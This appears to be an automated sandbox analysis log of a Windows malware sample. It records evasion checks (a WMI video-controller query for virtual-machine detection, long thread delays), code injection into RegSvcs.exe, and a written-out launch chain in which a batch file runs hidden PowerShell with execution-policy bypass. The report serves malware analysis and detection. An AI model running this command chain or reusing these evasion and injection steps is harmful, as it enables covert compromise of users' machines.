Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4172	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5631	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4221	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5603	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7161	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2686	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep count: 4221 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep count: 5603 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000001.00000002.1628924395.0000026A6425F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlldd}#
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000001.00000002.1567596454.0000026A4CD2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: RegSvcs.exe, 0000000B.00000002.3866185490.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40A000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 613008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Music\Visuals\VsEnhance.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
